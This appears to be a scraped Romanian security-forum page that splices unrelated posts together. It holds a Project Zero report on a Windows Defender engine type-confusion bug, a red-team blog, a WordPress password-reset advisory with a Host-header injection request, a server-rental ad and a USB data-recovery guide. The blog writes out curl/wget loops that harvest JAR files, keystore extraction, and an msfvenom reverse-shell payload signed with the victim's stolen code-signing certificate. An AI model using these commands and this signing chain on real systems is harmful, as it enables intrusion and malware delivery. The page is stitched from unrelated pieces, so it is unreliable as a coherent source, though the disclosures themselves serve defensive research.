Leaderboard

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5 MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on. On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system. Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service. The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers. NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds. We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it: $ mpscript main(): Please wait, initializing engine... main(): Ready, type javascript (history available, use arrow keys) > 6 * 9 JavaScriptLog(): 54 > document.location.hostname JavaScriptLog(): www.myserver.com > "abcd" + String.fromCharCode(0x3f) JavaScriptLog(): abcd? > /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX? JavaScriptLog(): yes > for (i in document) log(i) JavaScriptLog(): appendChild JavaScriptLog(): attributes JavaScriptLog(): childNodes JavaScriptLog(): createElement JavaScriptLog(): createTextNode JavaScriptLog(): getElementById JavaScriptLog(): getElementsByTagName JavaScriptLog(): write JavaScriptLog(): writeln JavaScriptLog(): referrer JavaScriptLog(): cookie JavaScriptLog(): location JavaScriptLog(): undefined > window.ScriptEngineBuildVersion JavaScriptLog(): [object Function] > window.ScriptEngineBuildVersion() JavaScriptLog(): 8831 We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent(). In pseudocode, the code does something like this: prophash = JsObject::genPropHash("message", 0); RuntimeState::getThisPtr(&thisptr) if (JsObject::get(thisptr, prophash, &message)) { JsRuntimeState::triggerShortStrEvent("error_tostring", message); } The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable. int __fastcall JsString::numBytes(JsString this) { if ( this == 0x12 ) return 0; if ( (this & 0x12) == 0x12 ) return this >> 5; return this->vtbl->GetLength(this); } Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length. Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible). To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this: <a href="testcase.txt" download id=link> <script> document.getElementById("link").click(); </script> 3: kd> !process PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8 DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433. Image: MsMpEng.exe 3: kd> !token -n _EPROCESS 8805fd28, _TOKEN 00000000 TS Session ID: 0 User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) 3: kd> .lastevent Last event: Access violation - code c0000005 (first chance) debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00) 3: kd> r eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141 eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293 mpengine!FreeSigFiles+0xec822: 001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=???????? 3: kd> lmv mmpengine start end module name 68790000 6917a000 mpengine (export symbols) mpengine.dll Loaded symbol image file: mpengine.dll Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll Image name: mpengine.dll Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1) CheckSum: 00A1330D ImageSize: 009EA000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 3: kd> u mpengine!FreeSigFiles+0xec822: 001b:68b1f5f2 8b07 mov eax,dword ptr [edi] 001b:68b1f5f4 56 push esi 001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8] 001b:68b1f5f8 8bce mov ecx,esi 001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)] 001b:68b1f600 8bcf mov ecx,edi 001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address 001b:68b1f604 5e pop esi Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this. The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on. As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible. We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless). Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41975.zip Sursa: https://www.exploit-db.com/exploits/41975/

Atentie, nu oferiti si nu formulati cereri pentru servere hacked incluzand si nelimitandu-se la shells, cpanels, webshells. Nu vindeti si nu cereti baze de date cu email-uri, date cu caracter personal, cnp-uri sau alte saracii. In ultimul timp au aparut cereri si oferte precum ciupercile dupa ploaie. Nu le-am dat atentie pentru a vedea pana unde mergeti cu cacanaria.

Servere dedicate la preturi bune. Config 1: Haswell Intel CPU Intel i5-4570 @ 3.2 Ghz 4 Core, 4 Threads, 6MB L2 Cache 16 GB DDR3 Memory 1 x 240 GB SSD Force 3 (6Gb/s, 85.000 IOPS) Monthly traffic: 20 TB Network Port Speed: 100Mbps (upgrade to 1Gbps for just +20 euro per month) 2 IP Addresses included with custom reverse DNS Monthly cost: 60 euro Setup fee: 65 euro Config 2: Haswell Intel CPU Intel i5-4570 @ 3.2 Ghz 4 Core, 4 Threads, 6MB L2 Cache 32 GB DDR3 Memory 2 x 240 GB SSD Force 3 (6Gb/s, 85.000 IOPS) Monthly traffic: 20 TB Network Port Speed: 100Mbps (upgrade to 1Gbps for just +20 euro per month) 2 IP Addresses included with custom reverse DNS Monthly cost: 88 euro Setup fee: 65 euro Config 3: Haswell Intel CPU Intel i7-4770 @ 3.4 Ghz 4 Core, 8 Threads, 6MB L2 Cache 32 GB DDR3 Memory 1 x 2 TB SATA3 Monthly traffic: 20 TB Network Port Speed: 100Mbps (upgrade to 1Gbps for just +20 euro per month) 2 IP Addresses included with custom reverse DNS Monthly cost: 110 euro Setup fee: 65 euro Config 4: Haswell Intel CPU Intel i7-4770 @ 3.4 Ghz 4 Core, 8 Threads, 6MB L2 Cache 32 GB DDR3 Memory 2 x 240 GB SSD Force 3 (6Gb/s, 85.000 IOPS) Raid 1 Hardware controller (Adaptec/3Ware) Monthly traffic: 20 TB Network Port Speed: 100Mbps (upgrade to 1Gbps for just +20 euro per month) 2 IP Addresses included with custom reverse DNS Monthly cost: 130 euro Setup fee: 65 euro Config 5: Haswell Intel CPU Xeon E3-1230 @ 3.2 Ghz 4 Core, 8 Threads, 8MB L2 Cache 16 GB DDR3 Memory 2 x 2TB eSATA Enterprise Raid 1 Hardware controller (Adaptec/3Ware) Monthly traffic: 20 TB Network Port Speed: 100Mbps (upgrade to 1Gbps for just +20 euro per month) 2 IP Addresses included with custom reverse DNS Monthly cost: 150 euro Setup fee: 65 euro Config 6: Haswell Intel CPU Xeon E3-1230 @ 3.2 Ghz 4 Core, 8 Threads, 8MB L2 Cache 32 GB DDR3 Memory 4 x 2TB SATA3 Raid 10 Hardware controller (Adaptec/3Ware Monthly traffic: 20 TB Network Port Speed: 100Mbps (upgrade to 1Gbps for just +20 euro per month) 2 IP Addresses included with custom reverse DNS Monthly cost: 200 euro Setup fee: 65 euro Note: - Latimea de banda este garantata catre orice destinatie (EU/US/Asia) / Avem peer-uri private cu peste 300 de furnizori. Cu tot ce nu este peer, iesim cu conexiune prin Level3, Cogent, Telia, Hurricane Electric si NTT. De asemenea, pe BGP folosim solutiile Noction (in caz ca exista loss pe o routa aleasa de BGP, se comuta pe o alta) - Nu se accepta child porn/spam/scan/phishing/fraude - Serverele sunt activate in aproximativ 3 zile de la efectuarea platii - Adresele IP alocate sunt de Germania. - Plata se poate face prin PayPal. - Se poate face contract daca este necesar. - Preturile de mai sus sunt finale si nu se mai adauga TVA sau altceva la ele. - La cerere, se poate instala pe servere apache, php, mysql, nginx. De asemenea, se poate face si un tuning initial pe langa instalare. (nu au cost aditional) - Consultanta si suport tehnic premium pentru tot ce se mananca cu linux. (atat telefonic cat si pe email) - Pe langa serverele prezentate, avem toata gama de la HP (de la HP DL120 pana la DL980), dar e clar ca acolo sunt alte costuri pentru ca nu se incadreaza la categoria 'low end/cost' - Cine vrea sa reinchirieze serverele, putem colabora si putem face alte preturi. (discutam) - OS-uri: Orice distributie de linux, FreeBSD, NetBSD, OpenBSD, Solaris. Momentan nu avem Windows pentru ca acestea au un cost ridicat de licentiere si nu oferim suport tehnic pentru asa ceva ;-) Cei interesati sunt rugati sa dea un mesaj privat. La nevoie, pot sa va sun personal pentru a va da mai multe detalii. wget tests (without tcp tuning): root@pluto:~# wget -O /dev/null http://cachefly.cachefly.net/100mb.test --2013-12-15 20:55:24-- http://cachefly.cachefly.net/100mb.test Resolving cachefly.cachefly.net (cachefly.cachefly.net)... 205.234.175.175 Connecting to cachefly.cachefly.net (cachefly.cachefly.net)|205.234.175.175|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 104857600 (100M) [application/octet-stream] Saving to: `/dev/null' 100%[===============================>] 104,857,600 94.9M/s in 1.1s 2013-12-15 20:55:25 (94.9 MB/s) - `/dev/null' saved [104857600/104857600] root@pluto:~# wget -O /dev/null http://mirror.de.leaseweb.net/speedtest/100mb.bin --2013-12-15 20:56:13-- http://mirror.de.leaseweb.net/speedtest/100mb.bin Resolving mirror.de.leaseweb.net (mirror.de.leaseweb.net)... 46.165.198.1, 2a00:c98:2010:1:1:face:d06:f00d Connecting to mirror.de.leaseweb.net (mirror.de.leaseweb.net)|46.165.198.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 100000000 (95M) [application/octet-stream] Saving to: `/dev/null' 100%[===============================>] 100,000,000 64.3M/s in 1.5s 2013-12-15 20:56:14 (64.3 MB/s) - `/dev/null' saved [100000000/100000000] root@pluto:~# wget -O /dev/null http://mirror.leaseweb.com/speedtest/100mb.bin --2013-12-15 20:56:20-- http://mirror.leaseweb.com/speedtest/100mb.bin Resolving mirror.leaseweb.com (mirror.leaseweb.com)... 94.75.223.121, 2001:1af8:4030:1:0:dead:beef:cafe Connecting to mirror.leaseweb.com (mirror.leaseweb.com)|94.75.223.121|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 100000000 (95M) [application/octet-stream] Saving to: `/dev/null' 100%[===============================>] 100,000,000 78.0M/s in 1.2s 2013-12-15 20:56:22 (78.0 MB/s) - `/dev/null' saved [100000000/100000000] root@pluto:~# wget -O /dev/null http://ftp.iasi.roedu.net/mirrors/centos.org/6.5/isos/x86_64/CentOS-6.5-x86_64-bin-DVD2.iso --2014-01-28 00:30:34-- http://ftp.iasi.roedu.net/mirrors/centos.org/6.5/isos/x86_64/CentOS-6.5-x86_64-bin-DVD2.iso Resolving ftp.iasi.roedu.net (ftp.iasi.roedu.net)... 81.180.250.146, 2001:b30:1::146 Connecting to ftp.iasi.roedu.net (ftp.iasi.roedu.net)|81.180.250.146|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1284395008 (1.2G) [application/octet-stream] Saving to: `/dev/null' 43% [================================> ] 554,423,034 103M/s eta 9s ^C root@pluto:~# wget -O /dev/null http://mirror.nl.leaseweb.net/speedtest/10000mb.bin -4 --2014-02-24 23:07:19-- http://mirror.nl.leaseweb.net/speedtest/10000mb.bin Resolving mirror.nl.leaseweb.net (mirror.nl.leaseweb.net)... 94.75.223.121 Connecting to mirror.nl.leaseweb.net (mirror.nl.leaseweb.net)|94.75.223.121|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10000000000 (9.3G) [application/octet-stream] Saving to: `/dev/null' 5% [====> ] 511,839,952 108M/s eta 91s ^C root@pluto:~# hdparm test pe un server cu SSD Force3: root@ns:~# hdparm -t --direct /dev/sda1 /dev/sda1: Timing O_DIRECT disk reads: 284 MB in 0.56 seconds = 509.85 MB/sec root@ns:~# hdparm -T /dev/sda1 /dev/sda1: Timing cached reads: 27844 MB in 2.00 seconds = 13940.39 MB/sec root@ns:~#

Priveste din cealalta perspectiva, eu am intr-o baza de date niste informatii si vreau sa le afisez doar utilizatorilor cu browser real, nu ai cum sa iti dai seama daca un client este "un browser real" doar primind un singur request, trebuie sa ii dai un JavaScript care sa extraga anumite informatii despre browser pe care sa le trimiti inapoi, ca sa decizi daca este browser real sau nu. Daca detaliile despre browser sunt trimise catre un server, le poti trimite si tu "manual". Asta e cazul foarte simplificat dar toate detectiile de genu se bazeaza pe acelasi principiu. Daca ar fi sa ma limitez strict la intrebare si la site-urile alea doua, informatiile alea nu au relevanta daca nu sunt trimise undeva, is afisate intr-un HTML si doar atat. Este ca si cum ai salva codul HTML+JavaScript offline si le-ai deschide intr-un browser, nu ai nevoie de conexiune la internet ca sa vezi informatiile. Daca vrei doar sa vezi informatiile alea, pycurl sa descarci HTML-u apoi il trimiti catre phantomJS si scoti rezultatul HTML de la phantomJS.

Basic Structure of a USB The first task is to remove the USB logic board from its enclosure. Oftentimes there is a seam that can be pried open with a plastic spudger tool. The board will likely be held in place by a few plastic latches or with adhesive. Once we have removed the logic board from its enclosure we can examine the board for any obvious signs of damage. Indicators of damage could range from melted components, scorch marks, bad solder joints, or cracks in the logic board. While one could attempt to repair observed damages, we will instead transplant the NAND storage chip to a functioning same model device. For this post, I tore down two USBs I had close at hand. One older unmarked 2 GB USB and a newer 8 GB SanDisk Cruzer. Both devices are pictured below. Both devices are made up of the same basic anatomy. The primary components of a USB that we will concern ourselves with are the USB connector (1), the USB controller (2), and the NAND storage chip (3). The SanDisk has its USB connector integrated with the logic board as opposed to the soldered on USB connector more commonly seen with most USBs. If the USB connector is damaged there will likely be obvious damage to the gold-plated pads within the connector or the solder joints connecting it to the logic board. A typical USB has four gold pads each corresponding to a specific signal: power, data -, data +, and ground. The gold-plated tabs should be straight, flat, and free of any residue. The solder joints where the connector meets the logic board should be holding the connector firmly in place. There should also be continuity between the gold pads and the solder joint where that electrical signal meets the board. If there is any apparent damage or the connector is not secured to the logic board, reflowing the joints may solve the issue. Failing that, one could use hot air (i.e., a hot air rework station) to remove the defective USB connector and replace it with a functioning one. The USB controller typically comes in a TQFP (Thin Quad Flat Package1) package with leads on all four sides of the chip. Discussing how to diagnose and fix issues with the controller is out of scope here. The NAND chip(s) houses all of the data on the USB. These chips are fairly durable and in most scenarios are not damaged. These chips are often one of two packages: TSOP (Thin Small Outline Package2) or BGA (Ball Grid Array3). In the photos above, both chips have a TSOP-48 NAND memory chip. The number 48 represents the total number of leads on the chip where two sides contain 24 leads each. These chips are easier to work with than their BGA counterparts where the leads are underneath the chip rather than on the side of it. Some USBs have more than one NAND chip. In that case, both NANDs would need to be swapped. In our scenario, we will discuss the steps necessary to transplant the NAND chip from a non-functioning USB to a same-model counterpart. Let’s get started. Recovering Data from a USB With the NAND chip(s) identified, let’s discuss how to remove the chip from the board. There are a number of different methods we could employ, but the end goal remains the same: melt the solder joints holding the chip in place long enough to remove it from the board. The most popular method would be to use a hot air or IR rework station. Other methods, like using a low temperature solder, exist and are worth exploring to determine the best tool for the job. Each come with their own pros and cons. When heating an electronic component to high temperatures there is always a change it may be damaged in the process. In addition to that, care needs to be taken to avoid overheating other components on the board. This is especially true when using a hot air gun. With that said, let’s continue our discussion on the assumption we have elected to use a hot air rework station. Depending on the composition of the solder used it will likely melt (reflow) around 190°C. When solder reflows, it takes on an observable shiny characteristic. Applying flux to the leads will facilitate the reflow process. The exact temperature, air flow speed, and nozzle to use is setup dependent. Practice on test devices to get a feel for the appropriate setting. Aim to reflow and remove the chip from the board after 10-20 seconds of sustained heating. If the reflow station has a preheater, the board can be heated up to near reflow temperatures to decrease the amount of time high heat needs to be applied. Preheating also allows for the board to be more evenly heated rather than heating a localized area which may stress and damage the board. With the appropriate temperature determined, apply hot air a few centimeters above the leads, taking turns to hit each side. It is critical that when using tweezers, or some other tool, to lift the chip up (once the leads have reflowed) to not apply much pressure. If there is resistance stop and do not continue pulling up on the chip. Continue applying heat. Ignoring this advice can result in tearing off pads which will certainly result in numerous headaches. Low-temperature solder is much safer with the chip but takes more time and leaves a mess on the board. The process involves applying low-temperature solder liberally on the existing solder joints and create a horizontal stream of low temp solder spanning across all of the leads on each side of the NAND. Heating this mixture of primarily low-temp solder with just a soldering iron keeps it reflowed for ~10 seconds, long enough to reflow both sides and easily remove the chip. Whichever method is preferred, remove the NAND chips from both the original and donor boards. Make sure to inspect the original chip’s leads for solder bridges (this is more likely to occur with the low-temp solder method). Solder bridges occur when one or more leads are connected with solder causing a short between those leads. Any such shorts must be removed prior to swapping the NAND onto the donor board. With the original NAND chip inspected, we can now swap it onto the functioning donor board. As a brief aside, if you have a chip programmer, and it supports your NAND, you can read directly from the chip without needing to perform this last step. Before swapping the NAND onto the donor board, inspect the board to make sure all pads are intact and there are not any solder bridges. It is also recommended to either even out or, preferably, remove solder on each pad with desoldering wick so the chip lays flat and in contact with all pads when placed on the board. Let’s discuss two different options for soldering the NAND onto the donor board. We can either use the hot air rework (or IR) station or manually solder the chip with a soldering iron. Manually soldering the chip is safer for the chip as you are not applying heat directly to the chip itself. This method is more time-consuming. Hot air is just the inverse of the process employed to remove the chip. Once complete, inspect the leads one more time to ensure there are no inadvertent electrical connections between leads. In addition to this, use a multimeter and check for continuity between each lead and the pad it connectors to to ensure all are making sound electrical connections. If all went well, reattempt acquisition of the device. Ideally it should now be recognized by your machine and allow you to image it. If that is not the case, reinspect the leads and rule out inadvertent electrical connections. Verify that the host and donor are the same make and model with similar board design. Know that this technique is potentially destructive. Therefore, ensure you practice this in test scenarios before applying it to casework. Sursa: https://dpmforensics.com/2017/05/07/extracting-data-from-damaged-usbs/

De unde stii tu unde lucram? Si de ce ai vrea sa lucrezi la "companiile mari"? Crezi ca e super la corporatii?

Apache and Java Information Disclosures Lead to Shells 26 January 2017 Overview During a recent Red-Team engagement, we discovered a series of information disclosures on a site allowing our team to go from zero access to full compromise in a matter of hours. Information disclosures in Apache HTTP servers with mod_status enabled allowed our team to discover.jar files, hosted on the site. Static values within exposed .jar files allowed our team to extract the client’s code signing certificate and sign malicious Java executables as the client. These malicious .jar files were used in a successful social engineering campaign against the client. These typically overlooked, but easily mitigated vulnerabilities quickly turned into a path to full compromise. We won’t go into much detail about the steps taken after the initial compromise. We’ll save that for another blog. Now for the fun stuff… Apache Mod_Status Apache mod_status is an Apache module allowing administrators to view quick status information by navigating to the /server-status page, i.e. https://www.apache.org/server-status. This isn’t necessarily a vulnerability on its own, but when implemented in public facing production environments, it can provide attackers a treasure-trove of useful information; especially when the ExtendedStatus option is configured. During our OSINT phase of the engagement, we incorporate a series of Google Dorks, including searching for enabled mod_status: site:<site> inurl:"server-status" intext:"Apache Server Status for" Alternatively, given a range of IPs instead of a URL, you can use a Bash “for” loop, like the following, to search for /server-status pages: for i in `cat IPs.txt`; do echo $i & curl -ksL -m2 https://$i/server-status | head -n 5 | grep "Status" ; done > output.txt However, the loop above will query the server, making it NOT OpSec friendly. Use with caution if stealth is key on an engagement. So why do we dork for server_status? Because among the valuable information disclosed such as server version, uptime, and process information, the ExtendedStatus option displays recent HTTP requests to the server. If recent requests contain authorization information, such as tokens, you can see why this page would be valuable to an attacker. In a lot of cases this dork doesn’t come back with any results, but in this scenario, we found several systems with both mod_status and ExtendedStatus configured. What made this even more interesting, was that several HTTP requests were made for files with .jar extensions: A quick test, using wget, shows this page is accessible without authenticating, and we grab the rt.jar file for further examination. We wanted to examine all the jars; so, with a quick curl we were able to list all requests containing the .jar extension: curl http://<site>/server-status | grep GET | cut -d “>” -f9 |cut -d “ “ -f2 |grep jar > jars.txt Using a quick Bash “for” loop, we grabbed all the files using wget: for I in `cat jars.txt` ; do wget http://127.0.0.1$i ; done You can also navigate to the page and click all the links to download each file, but we were operating from a C2 server with no GUI, so Bash+Wget was necessary. Java Static Values After downloading the jars locally for examination, we used a Java decompiler to examine the code. Our preference is JD-Gui (https://github.com/java-decompiler/jd-gui), but there are plenty of other options out there for decompilers. After examining the files, it was quickly apparent that several static values were used in the JARs, including passwords, UIDs, and local paths. The biggest finding however, was the Keystore password found in the POM.xml file located in the print.jar applet: A Java Keystore is used to store authorization or encryption certificates in Java applications. These typically provide the applet with the ability to authenticate to a service or encryption over HTTPS. The XML file in the screenshot above provided the Keystore name, alias, and password; all we needed to find the Keystore. Luckily the Keystore was stored in the rt.jar file that as also accessible without authentication, and in our possession. We simply unzipped the rt.jar file to extract the AppletSigningKeystore2016.jks file: unzip rt.jar Using the hardcoded Keystore password we discovered in the print.jar applet, we could decrypt the Keystore and export the code signing certificate. keytool -exportcert -keystore AppletSigningKeystore2016.jks -alias JAR -file cert.der Using OpenSSL, we converted the certificate to a human-readable .crt format: openssl x509 -inform der -in cert.der -out cert.crt Further digging in to the discovered jars indicated that the client used the certificate in the Keystore to sign other applets. Creating Signed Malicious JARs After determining the AppletSigningKeystore2016.jks Keystore contained the client’s code signing certificate, we shifted our efforts to creating a Java payload with a reverse shell. The payload we used was tailored to the client, but here’s an example of using msfvenom to create a simple JAR file with an embedded meterpreter shell: msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.jar Using the Jarsigner application provided in Java’s JDK, we were then able to sign the payload with the AppletSigningKeystore2016.jks Keystore, containing the client’s code signing certificate: jarsigner -keystore AppletSigningKeystore2016.jks /payload.jar JAR This made it appear as if the client created the application themselves, thus increasing the likelihood that a user would execute the file and give us a shell: Wrap-up So now we had a functioning payload, signed by the client, ready to use against their users. All it took was a little effort during the recon phase, an attention to detail, and a tiny bit of Java knowledge. In many cases, it’s easy overlook what would normally be considered a minor vulnerability, but in this case, not overlooking these tiny details lead to full compromise of the client’s network. We won’t go in to any details about the social engineering campaign, because all it takes one user to click a link or run an executable, and it becomes an internal pentest. Let’s just say we got a few shells. It’s also worth noting that malware developers are actively code-signing their malware with stolen certificates. Here’s a more recent example of a code-signing technique being utilized to spread malware: https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates There are a few things to take away from this as security professionals: Disable Apache Mod_Status in production servers. Where possible, utilize an authentication mechanism when hosting applets that contain sensitive functionality, i.e. make users login to download applets. Scrub the code of your applets to remove any potential information disclosures. References Information on Apache Mod_Status Module https://httpd.apache.org/docs/2.4/mod/mod_status.html Apache Mod-Status Module – Extended Status https://httpd.apache.org/docs/2.4/mod/core.html#extendedstatus Apache Authentication and Authorization https://httpd.apache.org/docs/2.4/howto/auth.html https://httpd.apache.org/docs/2.4/howto/access.html Java JDK http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html JD-GUI https://github.com/java-decompiler/jd-gui Digital Ocean - Java Keytool Essentials: Working with Java Keystores https://www.digitalocean.com/community/tutorials/java-keytool-essentials-working-with-java-keystores Digital Ocean - OpenSSL Essentials: Working with SSL Certificates, Private Keys and CSRs https://www.digitalocean.com/community/tutorials/openssl-essentials-working-with-ssl-certificates-private-keys-and-csrs#convert-certificate-formats Richard De La Cruz Sursa: http://threat.tevora.com/apache-and-java-information-disclosures-lead-to-shells/

==================================================== - Discovered by: Dawid Golunski (@dawid_golunski) - dawid[at]legalhackers.com - https://legalhackers.com - ExploitBox.io (@Exploit_Box) - CVE-2017-8295 - Release date: 03.05.2017 - Revision 1.0 - Severity: Medium/High ============================================= I. VULNERABILITY ------------------------- WordPress Core <= 4.7.4 Potential Unauthorized Password Reset (0day) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- Wordpress has a password reset feature that contains a vulnerability which might in some cases allow attackers to get hold of the password reset link without previous authentication. Such attack could lead to an attacker gaining unauthorised access to a victim's WordPress account. IV. DESCRIPTION ------------------------- The vulnerability stems from WordPress using untrusted data by default when creating a password reset e-mail that is supposed to be delivered only to the e-mail associated with the owner's account. This can be observed in the following code snippet that creates a From email header before calling a PHP mail() function: ------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ... ----------------------------------------- As we can see, Wordpress is using SERVER_NAME variable to get the hostname of the server in order to create a From/Return-Path header of the outgoing password reset email. However, major web servers such as Apache by default set the SERVER_NAME variable using the hostname supplied by the client (within the HTTP_HOST header): https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname Because SERVER_NAME can be modified, an attacker could set it to an arbitrary domain of his choice e.g: attackers-mxserver.com which would result in Wordpress setting the $from_email to wordpress@attackers-mxserver.com and thus result in an outgoing email with From/Return-Path set to this malicious address. As to which e-mail header the attacker would be able to modify - From or Return-Path, it depends on the server environment. As can be read on http://php.net/manual/en/function.mail.php The From header sets also Return-Path under Windows. Depending on the configuration of the mail server, it may result in an email that gets sent to the victim WordPress user with such malicious From/Return-Path address set in the email headers. This could possibly allow the attacker to intercept the email containing the password reset link in some cases requiring user interaction as well as without user interaction. Some example scenarios include: * If attacker knows the email address of the victim user. They can perform a prior DoS attack on the victim's email account (e.g by sending multiple large files to exceed user's disk quota, or attacking the DNS server) in order to cause the password reset email to be rejected by the receiving server, or not reach the destination and thus get returned to the account on attacker's server * Some autoresponders might attach a copy of the email sent in the body of the auto-replied message * Sending multiple password reset emails to force the user to reply to the message to enquiry explanation for endless password reset emails. The reply containing the password link would then be sent to attacker. etc. V. PROOF OF CONCEPT ------------------------- If an attacker sends a request similar to the one below to a default Wordpress installation that is accessible by the IP address (IP-based vhost): -----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------ Wordpress will trigger the password reset function for the admin user account. Because of the modified HOST header, the SERVER_NAME will be set to the hostname of attacker's choice. As a result, Wordpress will pass the following headers and email body to the /usr/bin/sendmail wrapper: ------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <wordpress@attackers-mxserver.com> From: WordPress <wordpress@attackers-mxserver.com> Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Someone requested that the password be reset for the following account: http://companyX-wp/wp/wordpress/ Username: admin If this was a mistake, just ignore this email and nothing will happen. To reset your password, visit the following address: <http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin> ------------------------------- As we can see, fields Return-Path, From, and Message-ID, all have the attacker's domain set. The verification of the headers can be performed by replacing /usr/sbin/sendmail with a bash script of: #!/bin/bash cat > /tmp/outgoing-email VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, attacker may be able to reset user's password and gain unauthorized access to their WordPress account. VII. SYSTEMS AFFECTED ------------------------- All WordPress versions up to the latest 4.7.4 VIII. SOLUTION ------------------------- No official solution available. As a temporary solution users can enable UseCanonicalName to enforce static SERVER_NAME value https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname This issue was first reported to WordPress security team multiple times, with the first report sent in July 2016. As there has been no progress in this case , this advisory is finally released to the public without an official patch. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vendor site: https://wordpress.org http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname http://php.net/manual/en/function.mail.php https://tools.ietf.org/html/rfc5321 X. CREDITS ------------------------- Discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io Thanks to BeyondSecurity for help with contacting the vendor. XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 XII. EXPLOITBOX - A PLAYGROUND FOR HACKERS ------------------------- 